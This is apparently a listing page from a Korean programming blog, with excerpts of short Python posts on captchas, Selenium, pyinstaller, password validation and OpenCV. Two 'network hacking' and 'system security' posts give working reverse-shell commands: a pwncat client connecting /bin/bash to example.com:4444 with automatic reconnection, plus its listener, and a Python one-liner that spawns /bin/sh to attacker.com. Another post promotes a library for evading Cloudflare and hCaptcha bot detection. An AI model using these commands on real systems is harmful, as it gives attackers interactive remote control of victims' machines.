728x90 반응형 파이썬80 네트워크 해킹 - pwncat 리버스쉘 명령어 pip 설치 명령어 pip install pwncat victim(클라이언트)이 공격자(서버) 접속을 위한 설치 명령어 sudo pip install pwncat-cs 위는 공격자가 python3 -m pwncat 명령어를 쓰기 위한 설치 명령어 TCP Reverse shell(클라이언트) pwncat -e '/bin/bash' example.com 4444 pwncat -e '/bin/bash' example.com 4444 --reconn --reconn-wait 10 10초마다 재연결 시도 공격자 리버스쉘 서버 오픈 python3 -m pwncat -lp 4444 pwncat 프롬프트 명령어 / 단축키 sessions: 연결된 victim들 확인 sessions {ID}: 상호작용 하려는 victi.. 2023. 3. 16. 파이썬 - 코드 난독화 변환 사이트(pyob.oxyry.com) https://pyob.oxyry.com/ Oxyry Python Obfuscator - The most reliable python obfuscator in the world Features Rename symbol names, includes variables, functions, classes, arguments, class private methods. The name replacer avoids a 1:1 mapping of cleartext names to obfuscated names, the same name may be converted to several different names within differen pyob.oxyry.com 2023. 3. 16. 파이썬 - 캡챠 생성기(captcha) 모듈 설치 pip install captcha 글자 생성 예시 # Import the following modules from captcha.image import ImageCaptcha # Create an image instance of the given size image = ImageCaptcha(width = 280, height = 90) # Image captcha text captcha_text = 'GeeksforGeeks' # generate the image of the given text data = image.generate(captcha_text) # write the image on the given file and save it image.write(captcha_text, .. 2023. 3. 12. 셀레니움 - 크롬드라이브 자동 설치 모듈 설치 pip install webdriver_manager from webdriver_manager.chrome import ChromeDriverManager def exec_chrom(): driver = webdriver.Chrome(service=Service(ChromeDriverManager().install())) return driver 2023. 3. 8. 파이썬 - pyinstaller의 RecursionError : maximum recursion depth exceeded 오류 해결 방법 pyinstaller -w --onefile main.py 이런 예시로 main.py를 exe로 변환하는 과정에 RecursionError 오류가 생겼다면 .spec 파일을 아래처럼 수정 pyinstaller로 빌드를 한번 해주면 그 폴더에 main.spec이라는 파일이 하나 생기는데 이걸 연다. 상위 부분에다. (인코딩 바로 아래에) # -*- mode: python ; coding: utf-8 -*- import sys sys.setrecursionlimit(5000) # 혹은 import sys ; sys.setrecursionlimit(sys.getrecursionlimit() * 5) 두 줄을 새로 추가한다. (sys.setrecursionlimit 함수는 재귀 호출의 제한 설정이라고 한다. 기.. 2023. 3. 8. PHP - shell_exec 함수로 파이썬 실행하고 한글이 안나오는 경우 putenv('PYTHONIOENCODING=utf-8'); 추가 putenv('PYTHONIOENCODING=utf-8'); $data = shell_exec('python3 app.py'); or $data = shell_exec('PYTHONIOENCODING=utf-8 python3 app.py'); 출처: https://trytoso.tistory.com/1543 php exec 사용하여 파이썬 호출후 한글이 안나올때 제목 그대로 아래와 같이 php 에서 파이썬 파일을 호출한다. 하지만 아래와 같은 오류가 계속 발생 Traceback (most recent call last): File "/home/naya/easyOCR-binary-centos-main/tests/php_client.py", .. 2023. 2. 18. 파이썬 - 세션 만료 시간 검증하기 from datetime import timedelta, datetime session_lifetime = timedelta(seconds=10) # 세션 유지 시간 expired_time = datetime.now() + session_lifetime if expired_time < datetime.now(): print("세션 사용 기간이 만료됨.") 2023. 2. 3. 파이썬 - 허용된 문자, 사용 가능한 비밀번호 문자들인지 검증하기 (re) 영문, 숫자, 특수 문자들로 구성된 비밀번호인지 확인하기 import re password = raw_input("Enter string to test: ") if re.fullmatch(r'[A-Za-z0-9!@#$%^&+=]{8,}', password): # match else: # no match 출처: https://stackoverflow.com/questions/2990654/how-to-test-a-regex-password-in-python How to test a regex password in Python? Using a regex in Python, how can I verify that a user's password is: At least 8 characters Must be re.. 2023. 2. 3. Flask - 파이썬 flask 간단한 캡챠 예제(flask-simple-captcha) 모듈 설치 pip install flask-simple-captcha simple_captcha_example.py from flask import Flask, render_template, request from flask_simple_captcha import CAPTCHA config = { 'SECRET_CAPTCHA_KEY': '1111111111111111111111111', 'METHOD': 'pbkdf2:sha256:100', 'CAPTCHA_LENGTH': 5, 'CAPTCHA_DIGITS': False } @app.route('/example', methods=['GET','POST']) def example(): if request.method == 'GET': captcha = CA.. 2023. 2. 2. 셀레니움 - 파이썬 봇 감지 우회 라이브러리(undetected-chromdriver) pypi https://pypi.org/project/undetected-chromedriver/ undetected-chromedriver ('Selenium.webdriver.Chrome replacement with compatiblity for Brave, and other Chromium based browsers.', 'Not triggered by CloudFlare/Imperva/hCaptcha and such.', 'NOTE: results may vary due to many factors. No guarantees are given, except for ongoing eff pypi.org 설치 pip install undetected-chromedriver 사용 예시 import u.. 2023. 1. 29. 시스템 보안 - 파이썬 리버스 쉘 스크립트 export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' 대부분의 유닉스 계열의 OS(리눅스, 맥os)에는 python2는 설치가 되어있는 경우가 많으니 별도의 설치 없이 명령어만으로 사용 가능하다. 출처: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25. OpenCV - 파이썬 cv2 이미지 속에 특정 이미지 감지하기 def isExistImage(a, b, c=0.65): print("이미지 존재 여부") img_rgb = cv2.imread(a) template = cv2.imread(b) h, w = template.shape[:-1] res = cv2.matchTemplate(img_rgb, template, cv2.TM_CCOEFF_NORMED) threshold = c loc = np.where(res >= threshold) return len( loc[0] ) != 0 print(isExistImage("screen.png", "target.png")) # True or False def getMatchPosition(a, b, c=0.65): print("이미지 위치 가져오기") img_rgb = cv.. 2023. 1. 16. 이전 1 2 3 4 5 6 7 다음 728x90 반응형